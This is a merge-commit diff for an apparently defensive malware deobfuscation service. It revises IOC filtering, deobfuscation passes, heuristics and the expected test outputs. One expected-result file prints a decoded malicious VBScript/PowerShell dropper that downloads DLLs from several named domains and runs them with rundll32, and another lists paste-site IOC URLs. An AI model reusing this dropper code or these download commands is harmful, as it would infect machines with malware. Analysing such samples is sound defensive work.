Merge pull request #73 from CybercentreCanada/fix_passes

Fix passes
CybercentreCanada · Feb 29, 2024 · 0a0c2cf · 0a0c2cf
2 parents aa5745a + 0a854cb
commit 0a0c2cf
Show file tree

Hide file tree

Showing 5 changed files with 51 additions and 188 deletions.
diff --git a/deobs.py b/deobs.py
@@ -34,11 +34,13 @@ def filter_iocs(
     network.static.uri tags are filtered based on segments before the path only.
     """
     new_iocs: defaultdict[str, set[bytes]] = defaultdict(set)
+    original = original.lower()
     for ioc_type in iocs:
         for ioc in sorted(iocs[ioc_type]):
             prefix = b"/".join(ioc.split(b"/", 3)[:3]) if ioc_type == "network.static.uri" else ioc
             if reversed:
                 prefix = prefix[::-1]
+            prefix = prefix.lower()
             if prefix not in seen and prefix not in original:
                 seen.add(prefix)
                 new_iocs[ioc_type].add(ioc)
@@ -414,8 +416,6 @@ def execute(self, request: ServiceRequest) -> None:
             ("Hex Int Constants", self.hex_constant),
         ]
         second_pass.extend(first_pass)
-        final_pass: TechniqueList = []
-        final_pass.extend(second_pass)
 
         code_extracts = [(".*html.*", "HTML scripts extraction", self.extract_htmlscript)]
 
@@ -461,26 +461,19 @@ def execute(self, request: ServiceRequest) -> None:
         tech_count: Counter[str] = Counter()
         pass_iocs: list[dict[str, set[bytes]]] = []
         techniques = first_pass
-        n_pass = 0  # Ensure n_pass is bound outside of the loop
         for n_pass in range(max_attempts):
             layer, techiques_used, iocs = self._deobfuscripter_pass(layer, techniques, md)
+            # Store the new IOCs found for each pass
+            pass_iocs.append(filter_iocs(iocs, before_deobfuscation, seen_iocs))
             if techiques_used:
-                # Store the techniques used and new iocs found for each pass
                 tech_count.update(techiques_used)
-                pass_iocs.append(filter_iocs(iocs, before_deobfuscation, seen_iocs))
             else:
-                # If there are no new layers in a pass, start second pass or break
+                # If the layer hasn't changed, add second pass techniques or break
                 if len(techniques) != len(first_pass):
                     # Already on second pass
                     break
                 techniques = second_pass
 
-        # --- Final Layer -----------------------------------------------------------------------------------------
-        layer, final_techniques, final_iocs = self._deobfuscripter_pass(layer, final_pass, md, final=True)
-        if final_techniques:
-            tech_count.update(final_techniques)
-            pass_iocs.append(filter_iocs(final_iocs, before_deobfuscation, seen_iocs))
-
         # Get new reversed iocs
         rev_iocs = filter_iocs(md.ioc_tags(layer[::-1]), before_deobfuscation, seen_iocs, reversed=True)
 
@@ -539,32 +532,25 @@ def execute(self, request: ServiceRequest) -> None:
         )
 
         # Report new IOCs
-        new_ioc_res = ResultSection("New IOCs found after de-obfustcation", body_format=BODY_FORMAT.MEMORY_DUMP)
-        heuristic = 0
+        new_ioc_res = ResultSection(
+            "New IOCs found after de-obfustcation",
+            body_format=BODY_FORMAT.MEMORY_DUMP,
+            heuristic=Heuristic(6),
+        )
         for n_pass, iocs in enumerate(pass_iocs):
             if not iocs:
                 continue
             new_ioc_res.add_line(f"New IOCs found in pass {n_pass}:")
             for ioc_type in iocs:
                 for ioc in sorted(iocs[ioc_type]):
-                    if n_pass == 0:  # iocs in the first pass can be found by other services
-                        heuristic = 5
-                    elif heuristic < 7:
-                        heuristic = 7 if "network" in ioc_type and ioc_type != "network.static.domain" else 6
                     new_ioc_res.add_line(f"Found {ioc_type.upper().replace('.', ' ')}: {safe_str(ioc)}")
                     new_ioc_res.add_tag(ioc_type, ioc)
         if rev_iocs:
-            new_ioc_res.add_line("New IOCs found reversed in the final layer:")
+            new_ioc_res.add_line("Reversed IOCs found in the final layer:")
             for ioc_type in rev_iocs:
-                for ioc in rev_iocs[ioc_type]:
-                    heuristic = max(
-                        7 if "network" in ioc_type and ioc_type != "network.static.domain" else 6,
-                        heuristic,
-                    )
+                for ioc in sorted(rev_iocs[ioc_type]):
                     new_ioc_res.add_line(f"Found {ioc_type.upper().replace('.', ' ')}: {safe_str(ioc)}")
                     new_ioc_res.add_tag(ioc_type, ioc)
-        if heuristic > 0:
-            new_ioc_res.set_heuristic(heuristic)
         if new_ioc_res.body:
             request.result.add_section(new_ioc_res)
 
@@ -594,22 +580,21 @@ def _deobfuscripter_pass(
         layer: bytes,
         techniques: TechniqueList,
         md: DecoderWrapper,
-        *,
-        final: object = False,
-    ) -> tuple[bytes, list[str], dict[str, set[bytes]]]:
-        techniques_used = []
+    ) -> tuple[bytes, set[str], dict[str, set[bytes]]]:
+        tree = md.multidecoder.scan(layer, 1)
+        md.extract_files(tree, 500)
+        techniques_used = {node.obfuscation for node in tree}
+        techniques_used.discard("")
+        # Since decoding and IoC search are done simultaneously and decoded results aren't researchd on depth 1,
+        # the IOCs found are those in ther layer before deobfuscation, not after.
+        iocs = get_tree_tags(tree)
+        layer = tree.flatten()
+        # DeobfuScripter specific techniques
         for name, technique in techniques:
             result = technique(layer)
             if result:
-                techniques_used.append(name)
+                techniques_used.add(name)
                 # Looks like it worked, continue with the new layer
                 layer = result
-        # Use multidecoder techniques and ioc tagging
-        tree = md.multidecoder.scan(layer) if final else md.multidecoder.scan(layer, 1)
-        md.extract_files(tree, 500)
-        obfuscations = {node.obfuscation for node in tree}
-        obfuscations.discard("")
-        techniques_used.extend(obfuscations)
-        iocs = get_tree_tags(tree)  # Get IoCs for the pass
-        layer = tree.flatten()
+
         return layer, techniques_used, iocs
diff --git a/service_manifest.yml b/service_manifest.yml
@@ -48,12 +48,6 @@ heuristics:
     name: De-obfuscated IOCs
     score: 100
 
-  - description: Network IOCs were found only after layered de-obfuscations
-    filetype: code/.*
-    heur_id: 7
-    name: De-obfuscated Network IOCs
-    score: 100
-
   - description: The service found interesting files during the de-obfuscation
     filetype: code/.*
     heur_id: 8

diff --git a/tests/results/1b400b38af1288167d9818c394dd3231606264a837e12cd2632c70d829b01846/result.json b/tests/results/1b400b38af1288167d9818c394dd3231606264a837e12cd2632c70d829b01846/result.json
@@ -1,7 +1,7 @@
 {
   "extra": {
     "drop_file": false,
-    "score": 100,
+    "score": 50,
     "sections": [
       {
         "auto_collapse": false,
@@ -30,55 +30,22 @@
       },
       {
         "auto_collapse": false,
-        "body": "\\x00\\x02\\x8c\\x08(\\x00\\x00\\x00|\\x08\\x00\\x80Dim WAITPLZ, WS\nWAITPLZ = DateAdd(\"s\", 4, Now())\nDo Until (Now() > WAITPLZ)\nLoop\n\nLL1 = \"$Nano=\"IEX\";sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://priyacareers.com/u9hDQN9Yy7g/pt.html'',''C:\\ProgramData\\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\nLL2 = \"$Nanoz=\"IEX\";sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.com/Gv",
+        "body": "\\x00\\x02\\x8c\\x08(\\x00\\x00\\x00|\\x08\\x00\\x80Dim WAITPLZ, WS\nWAITPLZ = DateAdd(\"s\", 4, Now())\nDo Until (Now() > WAITPLZ)\nLoop\n\nLL1 = \"$Nano=\"IEX\";sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://priyacareers.com/u9hDQN9Yy7g/pt.html'',''C:\\ProgramData\\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\nLL2 = \"$Nanoz=\"IEX\";sal OY $Nanoz;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://perfectdemos.com/Gv1iNAuMKZ/pt.html'',''C:\\ProgramData\\www2.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\nLL3 = \"$Nanox=\"IEX\";sal OY $Nanox;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bussiness-z.ml/ze8pCNTIkrIS/pt.html'',''C:\\ProgramData\\www3.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\nLL4 = \"$Nanoc=\"IEX\";sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://cablingpoint.com/ByH5NDoE3kQA/pt.html'',''C:\\ProgramData\\www4.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\nLL5 = \"$Nanoc=\"IEX\";sal OY $Nanoc;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://bonus.corporatebusinessmachines.co.in/1Y0qVNce/pt.html'',''C:\\ProgramData\\www5.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;\"\n\n\nSet Ran = CreateObject(\"wscript.shell\")\nRan.Run \"powershell \"+LL1,\"0\"\nRan.Run \"powershell \"+LL2,\"0\"\nRan.Run \"powershell \"+LL3,\"0\"\nRan.Run \"powershell \"+LL4,\"0\"\nRan.Run \"powershell \"+LL5,\"0\"\nWScript.Sleep(15000)\nRan.Run \"cmd /c rundll32.exe C:\\ProgramData\\www1.dll,ldr\", \"0\"\nRan.Run \"cmd /c rundll32.exe C:\\ProgramData\\www2.dll,ldr\", \"0\"\nRan.Run \"cmd /c rundll32.exe C:\\ProgramData\\www3.dll,ldr\", \"0\"\nRan.Run \"cmd /c rundll32.exe C:\\ProgramData\\www4.dll,ldr\", \"0\"\nRan.Run \"cmd /c rundll32.exe C:\\ProgramData\\www5.dll,ldr\", \"0\"\nW)\\x00\\x00\\<\\x00\\x00\\x00\\x02\\x18\\x005\\x00\\x00\\x00\\x06\\x00\\x00\\x80\\xa5\\x00\\x00\\x00\\xcc\\x02\\x00\\x00Tahoma\\x00\\x00",
         "body_config": {},
         "body_format": "MEMORY_DUMP",
         "classification": "TLP:C",
         "depth": 0,
         "heuristic": null,
         "promote_to": null,
         "tags": {},
-        "title_text": "First 500 bytes of the final layer:",
-        "zeroize_on_tag_safe": false
-      },
-      {
-        "auto_collapse": false,
-        "body": "New IOCs found in pass 0:\nFound FILE STRING BLACKLISTED: WScript.Shell",
-        "body_config": {},
-        "body_format": "MEMORY_DUMP",
-        "classification": "TLP:C",
-        "depth": 0,
-        "heuristic": {
-          "attack_ids": [],
-          "frequency": 1,
-          "heur_id": 5,
-          "score": 50,
-          "score_map": {},
-          "signatures": {}
-        },
-        "promote_to": null,
-        "tags": {
-          "file": {
-            "string": {
-              "blacklisted": [
-                "WScript.Shell"
-              ]
-            }
-          }
-        },
-        "title_text": "New IOCs found after de-obfustcation",
+        "title_text": "First 5000 bytes of the final layer:",
         "zeroize_on_tag_safe": false
       }
     ]
   },
   "files": {
     "extracted": [],
-    "supplementary": [
-      {
-        "name": "1b400b38af1288167d9818c394dd3231606264a837e12cd2632c70d829b01846_decoded_final",
-        "sha256": "644415a710a72de822828cea25db509bf6e822ef469a73e4987bd0999651e855"
-      }
-    ]
+    "supplementary": []
   },
   "results": {
     "heuristics": [
@@ -91,22 +58,9 @@
           "function.chr",
           "replace"
         ]
-      },
-      {
-        "attack_ids": [],
-        "heur_id": 5,
-        "signatures": []
       }
     ],
-    "tags": {
-      "file.string.blacklisted": [
-        {
-          "heur_id": 5,
-          "signatures": [],
-          "value": "WScript.Shell"
-        }
-      ]
-    },
+    "tags": {},
     "temp_submission_data": {}
   }
 }
diff --git a/tests/results/af5affdc568a839cf3fdfbd57879bd9a59b2fe3f97ede0f8674637abe6f6d73d/result.json b/tests/results/af5affdc568a839cf3fdfbd57879bd9a59b2fe3f97ede0f8674637abe6f6d73d/result.json
@@ -42,15 +42,15 @@
       },
       {
         "auto_collapse": false,
-        "body": "New IOCs found in pass 1:\nFound FILE STRING BLACKLISTED: Scripting.FileSystemObject\nFound FILE STRING BLACKLISTED: WScript.Shell\nFound NETWORK STATIC DOMAIN: jXALS.open\nFound NETWORK STATIC DOMAIN: objShell.Run\nFound NETWORK STATIC DOMAIN: schemas.microsoft.com\nFound NETWORK STATIC DOMAIN: textbin.net\nFound NETWORK STATIC DOMAIN: www.w3.org\nFound FILE STRING API: CopyFile\nFound FILE STRING API: ShellExecute\nFound NETWORK STATIC URI: http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework\nFound NETWORK STATIC URI: http://www.w3.org/2001/XMLSchema\nFound NETWORK STATIC URI: https://textbin.net/raw/ezjmofz3s6\nNew IOCs found reversed in the final layer:\nFound NETWORK STATIC URI: https://paste.ee/d/JDCTl/0\nFound NETWORK STATIC DOMAIN: paste.ee",
+        "body": "New IOCs found in pass 1:\nFound FILE STRING BLACKLISTED: Scripting.FileSystemObject\nFound FILE STRING BLACKLISTED: WScript.Shell\nFound NETWORK STATIC DOMAIN: jXALS.open\nFound NETWORK STATIC DOMAIN: objShell.Run\nFound NETWORK STATIC DOMAIN: schemas.microsoft.com\nFound NETWORK STATIC DOMAIN: textbin.net\nFound NETWORK STATIC DOMAIN: www.w3.org\nFound FILE STRING API: CopyFile\nFound FILE STRING API: ShellExecute\nFound NETWORK STATIC URI: http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework\nFound NETWORK STATIC URI: http://www.w3.org/2001/XMLSchema\nFound NETWORK STATIC URI: https://textbin.net/raw/ezjmofz3s6\nReversed IOCs found in the final layer:\nFound NETWORK STATIC URI: https://paste.ee/d/JDCTl/0\nFound NETWORK STATIC DOMAIN: paste.ee",
         "body_config": {},
         "body_format": "MEMORY_DUMP",
         "classification": "TLP:C",
         "depth": 0,
         "heuristic": {
           "attack_ids": [],
           "frequency": 1,
-          "heur_id": 7,
+          "heur_id": 6,
           "score": 100,
           "score_map": {},
           "signatures": {}
@@ -115,85 +115,85 @@
       },
       {
         "attack_ids": [],
-        "heur_id": 7,
+        "heur_id": 6,
         "signatures": []
       }
     ],
     "tags": {
       "file.string.api": [
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "CopyFile"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "ShellExecute"
         }
       ],
       "file.string.blacklisted": [
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "Scripting.FileSystemObject"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "WScript.Shell"
         }
       ],
       "network.static.domain": [
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "jXALS.open"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "objShell.Run"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "paste.ee"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "schemas.microsoft.com"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "textbin.net"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "www.w3.org"
         }
       ],
       "network.static.uri": [
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "http://www.w3.org/2001/XMLSchema"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "https://paste.ee/d/JDCTl/0"
         },
         {
-          "heur_id": 7,
+          "heur_id": 6,
           "signatures": [],
           "value": "https://textbin.net/raw/ezjmofz3s6"
         }